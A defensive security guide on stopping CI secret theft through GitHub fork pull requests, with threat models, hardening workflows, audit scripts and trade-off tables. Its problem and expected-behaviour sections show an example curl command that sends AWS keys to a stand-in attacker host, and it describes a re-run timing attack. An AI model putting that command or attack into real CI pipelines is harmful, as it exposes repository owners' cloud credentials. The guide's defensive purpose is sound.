Fork PR Secret Isolation: Preventing CI Secret Exfiltration via Pull Requests

Fork PR Secret Isolation: Preventing CI Secret Exfiltration via Pull Requests

The Problem

GitHub Actions creates a non-obvious security boundary between PRs from branches within the same repository and PRs from forks. Fork PRs run in a read-only context without access to repository secrets — by design, safely. The problem is that this default is easy to override.

The pull_request_target event is the primary attack surface. It runs in the context of the base repository, giving access to repository secrets. Its intended use is status reporting workflows that need write access back to the PR. The vulnerability arises when a pull_request_target workflow checks out the fork’s code — via actions/checkout with ref: ${{ github.event.pull_request.head.sha }} — and then executes it. The execution happens with full secret access. An attacker’s fork PR needs only modify a called script to curl https://attacker.com?key=${{ secrets.AWS_ACCESS_KEY_ID }}, and the secrets are gone before any reviewer sees the CI output. Security researchers have found this misconfiguration in repositories operated by major technology companies.

A more subtle variant requires no workflow file changes: if the pull_request_target workflow calls ./scripts/test.sh, modifying that script in the fork achieves the same result. The workflow diff shows nothing suspicious.

The “trusted reviewer triggers re-run” attack adds a timing element. An attacker submits a benign fork PR. CI fails for an unrelated reason. A maintainer clicks “Re-run all jobs.” Between the first run and the re-run, the attacker modified the PR to add secret exfiltration. GitHub provides no warning that the PR changed since the last run. The re-run executes the modified code.

Specific gaps in environments without fork PR isolation:

  • pull_request_target workflows that check out github.event.pull_request.head.sha are vulnerable by construction.
  • Workflow files that call scripts from the repository without restricting which branch’s scripts run.
  • Repositories with GITHUB_TOKEN: write-all as a default workflow permission grant broad API access to fork PRs.
  • Environment secrets with no required approval are accessible from any workflow trigger, including pull_request_target.

Target systems: GitHub Actions repositories; public repositories that accept fork PRs; internal repositories with external contributors; any repository using pull_request_target, workflow_run, or push triggers for PR workflows.

Threat Model

Adversary 1 — Fork PR modifying CI workflow. An attacker modifies a pull_request_target workflow in their fork to add a step that sends secrets to an attacker-controlled endpoint. If the workflow runs automatically, exfiltration completes before any reviewer sees the CI output. The prerequisite is only that the repository uses pull_request_target with code checkout from the fork.

Adversary 2 — Attacker modifies called scripts, not workflow files. The pull_request_target workflow checks out fork code and calls ./scripts/test.sh. The attacker modifies that script in their fork. The workflow file diff shows nothing suspicious. Reviewers checking only workflow files miss the attack.

Adversary 3 — Trusted reviewer triggers re-run after PR modification. The attacker’s initial fork PR is benign and CI fails for an unrelated reason. The maintainer clicks “Re-run all jobs.” Between the first run and the re-run, the attacker modified the PR to add secret exfiltration. The re-run executes the modified code without triggering a new review cycle.

Adversary 4 — GITHUB_TOKEN write permissions from fork PR context. A pull_request_target workflow with permissions: write-all (or the repository’s write-all default) allows a fork PR to use GITHUB_TOKEN to create releases, register webhooks pointing to attacker infrastructure, or modify repository settings.

  • Access objective: Exfiltrate production secrets (AWS credentials, container registry tokens, deployment keys, database passwords); gain persistent access to the repository via GITHUB_TOKEN writes.
  • Detection surface: Workflow trigger type analysis, GITHUB_TOKEN permission audits, network monitoring on CI runners, environment protection rules.
  • Blast radius: Any secret accessible to the CI environment; all cloud resources accessible with those secrets.

Hardening Configuration

Step 1: pull_request vs pull_request_target — When to Use Each

The first control is understanding and using the correct trigger event:

# SAFE: Use pull_request for workflows that don't need secrets.
# This trigger runs in the fork's context — no repository secrets are available.
on:
  pull_request:
    types: [opened, synchronize, reopened]

# The pull_request trigger:
# - Runs in the fork's context (read-only to base repo)
# - Has NO access to repository secrets
# - GITHUB_TOKEN has read-only permissions
# - Safe to check out and run fork code
# - Correct for: linting, unit tests, static analysis, build checks
# DANGEROUS if misused: pull_request_target runs in the BASE repository context.
# Only use for workflows that NEED secrets AND DO NOT run fork code.
on:
  pull_request_target:
    types: [opened, synchronize, reopened]

# The pull_request_target trigger:
# - Runs in the BASE repository's context
# - HAS access to repository secrets
# - GITHUB_TOKEN has configurable permissions (default varies by repo settings)
# - NEVER check out and run code from the fork in this context
# - Only correct use: status reporting workflows that don't execute PR code

A safe pattern for using pull_request_target — reporting status without running fork code:

# .github/workflows/pr-status-reporter.yml
# SAFE: Uses pull_request_target but never runs fork code.
name: PR Status Reporter
on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  report-status:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write  # Only what's needed for status comments.
      statuses: write
    steps:
      # CORRECT: Checks out the BASE repository code, not the fork.
      # The base branch contains trusted, reviewed workflow code.
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.base_ref }}  # NOT github.event.pull_request.head.sha
      
      # This step runs base branch code, not fork code.
      - name: Post status comment
        uses: actions/github-script@v7
        with:
          github-token: ${{ secrets.GITHUB_TOKEN }}
          script: |
            // Only status reporting — no secrets passed to fork code.
            await github.rest.issues.createComment({
              issue_number: context.issue.number,
              owner: context.repo.owner,
              repo: context.repo.repo,
              body: 'CI status: checks are running.'
            });

The split workflow pattern — run untrusted code safely with pull_request, then report with workflow_run:

# .github/workflows/pr-ci.yml
# Step 1: Runs fork code safely (no secrets).
name: PR CI
on:
  pull_request:
    types: [opened, synchronize, reopened]

jobs:
  test:
    runs-on: ubuntu-latest
    permissions:
      contents: read  # Read-only to the fork's code.
    steps:
      - uses: actions/checkout@v4
        # Default: checks out the PR's HEAD (fork code). Safe here.
      - name: Run tests
        run: make test
      # Artifact upload for the status reporter to consume.
      - name: Upload test results
        uses: actions/upload-artifact@v4
        with:
          name: test-results
          path: test-results.xml
# .github/workflows/pr-status.yml
# Step 2: Reports status with secrets — runs AFTER the untrusted CI completes.
name: PR Status Reporter
on:
  workflow_run:
    workflows: ["PR CI"]
    types: [completed]

jobs:
  report:
    runs-on: ubuntu-latest
    permissions:
      checks: write
      pull-requests: write
    steps:
      # CRITICAL: Download the artifact from the completed workflow_run,
      # not code from the PR. No fork code runs here.
      - name: Download test results
        uses: actions/download-artifact@v4
        with:
          name: test-results
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ secrets.GITHUB_TOKEN }}
      
      - name: Report status
        run: |
          # Parse test-results.xml and report to the PR.
          # Secrets are available here but no fork code runs.

Step 2: Workflow Permissions Set to Minimal

Explicitly declare the minimum permissions required for every workflow, removing the dangerous write-all default:

# .github/workflows/pr-checks.yml
name: PR Checks
on:
  pull_request:

# Explicitly set read-only default for all jobs.
permissions:
  contents: read

jobs:
  lint:
    runs-on: ubuntu-latest
    # No additional permissions needed for linting.
    steps:
      - uses: actions/checkout@v4
      - run: make lint

  test:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      # Only add what's needed — don't grant checks:write unless
      # this job actually writes check results.
    steps:
      - uses: actions/checkout@v4
      - run: make test

  security-scan:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write  # Only needed for SARIF upload.
    steps:
      - uses: actions/checkout@v4
      - uses: github/codeql-action/analyze@v3

Audit the current permission defaults for your repository:

# Check repository default workflow permissions via GitHub API.
gh api repos/ORG/REPO/actions/permissions \
  --jq '{
    enabled: .enabled,
    allowed_actions: .allowed_actions,
    default_workflow_permissions: .default_workflow_permissions,
    can_approve_pull_request_reviews: .can_approve_pull_request_reviews
  }'

# Expected for a well-configured repository:
# {
#   "enabled": true,
#   "allowed_actions": "selected",
#   "default_workflow_permissions": "read",
#   "can_approve_pull_request_reviews": false
# }

# If default_workflow_permissions is "write", change it:
gh api repos/ORG/REPO/actions/permissions \
  --method PUT \
  --field default_workflow_permissions=read \
  --field can_approve_pull_request_reviews=false

Step 3: Environment Protection Rules for Secrets

Environment protection ensures that secrets requiring production access require manual approval — fork PRs cannot automatically access production secrets even if a pull_request_target misconfiguration exists:

# GitHub repository settings cannot be set via workflow files directly.
# Use the GitHub API or Terraform to configure environment protection.
# Terraform example:

resource "github_repository_environment" "production" {
  environment = "production"
  repository  = "your-repo"

  # Require manual approval from security team before deployment.
  reviewers {
    teams = [data.github_team.security.id]
    users = []
  }

  # Only allow deployment from the main branch, not PRs or forks.
  deployment_branch_policy {
    protected_branches     = true  # Only protected branches (main, release/*).
    custom_branch_policies = false
  }
}

resource "github_repository_environment" "staging" {
  environment = "staging"
  repository  = "your-repo"

  # Staging allows CI branch deploys but not fork PRs.
  deployment_branch_policy {
    protected_branches     = false
    custom_branch_policies = true
  }
}

resource "github_repository_deployment_branch_policy" "staging_main" {
  repository     = "your-repo"
  environment_name = "staging"
  name           = "main"
}

resource "github_repository_deployment_branch_policy" "staging_release" {
  repository     = "your-repo"
  environment_name = "staging"
  name           = "release/*"
}

Reference environments correctly in workflow files:

# .github/workflows/deploy.yml
name: Deploy
on:
  push:
    branches: [main]
  # Note: NOT triggered by pull_request or pull_request_target.
  # Deployment only happens on merge to main.

jobs:
  deploy-staging:
    runs-on: ubuntu-latest
    environment: staging  # Requires branch policy to be satisfied.
    permissions:
      contents: read
      id-token: write  # For OIDC, not long-lived secrets.
    steps:
      - uses: actions/checkout@v4
      - name: Configure AWS credentials via OIDC
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789:role/github-actions-staging
          aws-region: us-east-1
          # OIDC: no long-lived AWS keys in GitHub secrets.
      - run: make deploy-staging

Step 4: step-security/harden-runner to Prevent Secret Exfiltration at the Runner Level

harden-runner monitors network egress from CI runners and blocks connections to unexpected destinations, providing a runtime defence layer that complements GitHub’s configuration controls:

# .github/workflows/pr-checks.yml
name: PR Checks (Hardened)
on:
  pull_request:

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - name: Harden runner
        uses: step-security/harden-runner@v2
        with:
          egress-policy: audit  # Use 'block' once you've mapped all legitimate egress.
          allowed-endpoints: >
            github.com:443
            api.github.com:443
            objects.githubusercontent.com:443
            registry.npmjs.org:443
            pypi.org:443
            files.pythonhosted.org:443
          # Any connection to an endpoint not in this list generates an alert.
          # Secret exfiltration via curl to attacker.com would be caught here.
          disable-sudo: true  # Prevent sudo escalation in fork PR context.

      - uses: actions/checkout@v4
      - name: Install dependencies
        run: pip install -r requirements.txt
      - name: Run tests
        run: pytest tests/

For stricter environments, switch from egress-policy: audit to block after running in audit mode for 1–2 weeks to capture all legitimate egress destinations:

- name: Harden runner
  uses: step-security/harden-runner@v2
  with:
    egress-policy: block  # Block all egress not in the allowlist.
    allowed-endpoints: >
      github.com:443
      api.github.com:443
      objects.githubusercontent.com:443
      registry.npmjs.org:443
    # A fork PR that tries to curl an attacker endpoint will fail here
    # with a network connection denied error, before the secret reaches
    # the attacker.

Step 5: GITHUB_TOKEN Permission Lockdown and Secret Scoping Audit

Audit every workflow file in the repository for dangerous permission patterns:

#!/bin/bash
# audit-workflow-permissions.sh
# Scans all workflow files for dangerous permission patterns.

REPO_ROOT="${1:-.}"
ISSUES=0

echo "=== GitHub Actions Permission Audit ==="
echo ""

find "$REPO_ROOT/.github/workflows" -name "*.yml" -o -name "*.yaml" | \
  while read workflow; do
    echo "Checking: $workflow"

    # Check for pull_request_target with code checkout from fork.
    if grep -q "pull_request_target" "$workflow"; then
      if grep -A10 "actions/checkout" "$workflow" | \
         grep -q "pull_request.head.sha\|head_ref"; then
        echo "  CRITICAL: pull_request_target workflow checks out fork code"
        echo "  File: $workflow"
        ISSUES=$((ISSUES + 1))
      else
        echo "  WARNING: pull_request_target — verify no fork code execution"
      fi
    fi

    # Check for missing or overly broad permissions.
    if ! grep -q "^permissions:" "$workflow"; then
      echo "  WARNING: No top-level permissions declaration — inherits default"
    fi

    if grep -q "permissions: write-all\|permissions:\n.*write-all" "$workflow"; then
      echo "  WARNING: write-all permissions on workflow — restrict to needed permissions"
      ISSUES=$((ISSUES + 1))
    fi

    # Check for secrets passed to fork-accessible steps.
    if grep -q "pull_request\b" "$workflow" && ! grep -q "pull_request_target" "$workflow"; then
      if grep -q '\${{ secrets\.' "$workflow"; then
        echo "  INFO: pull_request workflow uses secrets — verify no fork access"
        echo "  (pull_request secrets are unavailable to fork PRs by default)"
      fi
    fi

    echo ""
  done

echo "Issues found: $ISSUES"
[ "$ISSUES" -gt 0 ] && exit 1
exit 0
# Check current GITHUB_TOKEN permissions for pull_request_target workflows.
# Run against the repository to audit the effective permission model.

# List all workflows that trigger on pull_request_target.
gh api repos/ORG/REPO/contents/.github/workflows \
  --jq '.[].name' | \
  while read workflow; do
    CONTENT=$(gh api "repos/ORG/REPO/contents/.github/workflows/$workflow" \
      --jq '.content' | base64 -d)
    if echo "$CONTENT" | grep -q "pull_request_target"; then
      echo "=== $workflow uses pull_request_target ==="
      echo "$CONTENT" | grep -A5 "pull_request_target"
      echo "$CONTENT" | grep -A20 "permissions:" | head -20
      echo ""
    fi
  done

Step 6: Preventing the “Trusted Reviewer Triggers Re-run” Attack

Configure the repository to require re-review when a PR is modified, preventing the attack where a benign-looking PR is modified after initial review but before a re-run:

# Enforce that PRs from forks require approval before ANY CI run.
# Set via GitHub API:
gh api repos/ORG/REPO/actions/permissions \
  --method PUT \
  --field default_workflow_permissions=read

# For public repositories: require approval from maintainers for
# all outside contributor workflows (not just first-time contributors).
gh api repos/ORG/REPO/actions/permissions/workflow \
  --method PUT \
  --field default_workflow_permissions=read \
  # "Fork pull request workflows from outside collaborators" setting:
  # Options: "first-time-contributor", "all-collaborators", "require-approval"

Add a CI check that detects if a PR was modified after the last review approval:

# .github/workflows/pr-modification-check.yml
name: PR Modification After Approval Check
on:
  workflow_run:
    workflows: ["PR Checks"]
    types: [requested]

jobs:
  check-pr-modification:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: read
    steps:
      - name: Check if PR was modified after last approval
        uses: actions/github-script@v7
        with:
          script: |
            const pr_number = context.payload.workflow_run.pull_requests[0]?.number;
            if (!pr_number) return;

            // Get the last approval time.
            const reviews = await github.rest.pulls.listReviews({
              owner: context.repo.owner,
              repo: context.repo.repo,
              pull_number: pr_number
            });

            const lastApproval = reviews.data
              .filter(r => r.state === 'APPROVED')
              .sort((a, b) => new Date(b.submitted_at) - new Date(a.submitted_at))[0];

            if (!lastApproval) {
              console.log('No approvals found — standard first-run.');
              return;
            }

            // Get the latest commit time.
            const pr = await github.rest.pulls.get({
              owner: context.repo.owner,
              repo: context.repo.repo,
              pull_number: pr_number
            });

            const lastCommitTime = new Date(pr.data.head.repo.pushed_at);
            const lastApprovalTime = new Date(lastApproval.submitted_at);

            if (lastCommitTime > lastApprovalTime) {
              core.warning(
                `PR #${pr_number} was modified after last approval. ` +
                `Last commit: ${lastCommitTime.toISOString()}, ` +
                `Last approval: ${lastApprovalTime.toISOString()}. ` +
                `Re-review required before re-running CI.`
              );
              // Set a pending status to prevent silent re-runs.
              await github.rest.repos.createCommitStatus({
                owner: context.repo.owner,
                repo: context.repo.repo,
                sha: pr.data.head.sha,
                state: 'pending',
                description: 'PR modified after last approval — re-review required',
                context: 'pr-modification-check'
              });
            }

Expected Behaviour After Hardening

Fork PR with pull_request_target misconfiguration blocked in audit. An engineer adds a pull_request_target workflow that checks out the fork’s code using the head SHA. The permission audit CI check runs:

=== GitHub Actions Permission Audit ===

Checking: .github/workflows/pr-deploy-preview.yml
  CRITICAL: pull_request_target workflow checks out fork code
  File: .github/workflows/pr-deploy-preview.yml
  This allows fork PRs to run arbitrary code with access to repository secrets.

Issues found: 1
Error: Process completed with exit code 1.

The PR cannot merge. The engineer refactors the workflow to use the split pull_request + workflow_run pattern.

Harden-runner blocks secret exfiltration attempt. A fork PR modifies a test script to include curl https://attacker.com?key=$AWS_ACCESS_KEY_ID. The harden-runner step catches the connection attempt:

[StepSecurity] Blocked network connection to attacker.com:443
This endpoint is not in the allowed egress list.
Network connection denied: curl: (6) Could not resolve host: attacker.com

Error: Process completed with exit code 6

The exfiltration fails. The CI job reports a failure, drawing maintainer attention to the suspicious script modification.

GITHUB_TOKEN scope limits blast radius. A PR workflow has permissions: contents: read. A fork PR that runs in this context cannot create releases, modify workflow files, or write to the repository — the GITHUB_TOKEN’s scope prevents escalation even if the PR contains malicious code that attempts to use the token.

Trade-offs and Operational Considerations

Control Benefit Cost / Friction
pull_request instead of pull_request_target Eliminates secret access for fork PRs entirely Cannot run deployments or post status checks that need repository write access from within the PR workflow
Split pull_request + workflow_run pattern Allows status reporting with secrets without running fork code More complex workflow architecture; harder to debug; artifact passing between workflows adds latency
Environment protection with branch policies Production secrets only accessible from protected branches Requires maintaining branch policies; all deploy workflows must use named environments
harden-runner egress policy Runtime block on secret exfiltration even if misconfiguration exists Requires mapping all legitimate egress endpoints; initial audit mode period; adds ~5s to CI start time
Approval required for all outside contributor workflows Prevents automated execution of fork PR code Significantly slows CI for external contributors; creates maintainer bottleneck for popular open-source projects
GITHUB_TOKEN read-only default Limits what malicious fork PR code can do with the token Workflows that need to post comments, create checks, or trigger deployments must explicitly request additional permissions

The most significant operational trade-off is between contributor experience and security for public repositories. Requiring maintainer approval before running any CI on fork PRs protects against the attack but creates friction for legitimate contributors who expect automated feedback on their PRs. The minimum viable approach: use pull_request for all testing (no secrets required), and workflow_run only for status reporting; this gives fork PRs automated CI feedback without exposing secrets.

Failure Modes

Failure Mode Consequence Prevention
Workflow calls an external action that internally uses pull_request_target Third-party action escapes the safe pull_request context Pin all external actions to specific commit SHAs; review action source code before use
Developer adds secrets: block to pull_request workflow Secrets are not exposed to fork PRs by default, but the intent is unsafe; future changes may enable them Lint workflow files to warn on secrets: declarations in pull_request triggered workflows
Environment without branch policy set to deployment_branch_policy: protected_branches: false All branches including fork PR branches can access environment secrets Audit all environments for branch policy configuration; default to protected_branches: true
harden-runner in audit-only mode Network connections are logged but not blocked; exfiltration succeeds Transition to block mode after the initial audit period; use audit mode only in non-sensitive environments
Stale approval allows re-run of modified PR The “trusted reviewer triggers re-run” attack succeeds Enable “Dismiss stale pull request approvals when new commits are pushed” in branch protection; enforce re-review on any push
OIDC misconfiguration grants fork PR access to cloud role Even without long-lived secrets, OIDC token grants cloud access Restrict IAM role trust policies to specific repository references: "token.actions.githubusercontent.com:ref": "refs/heads/main" — not wildcards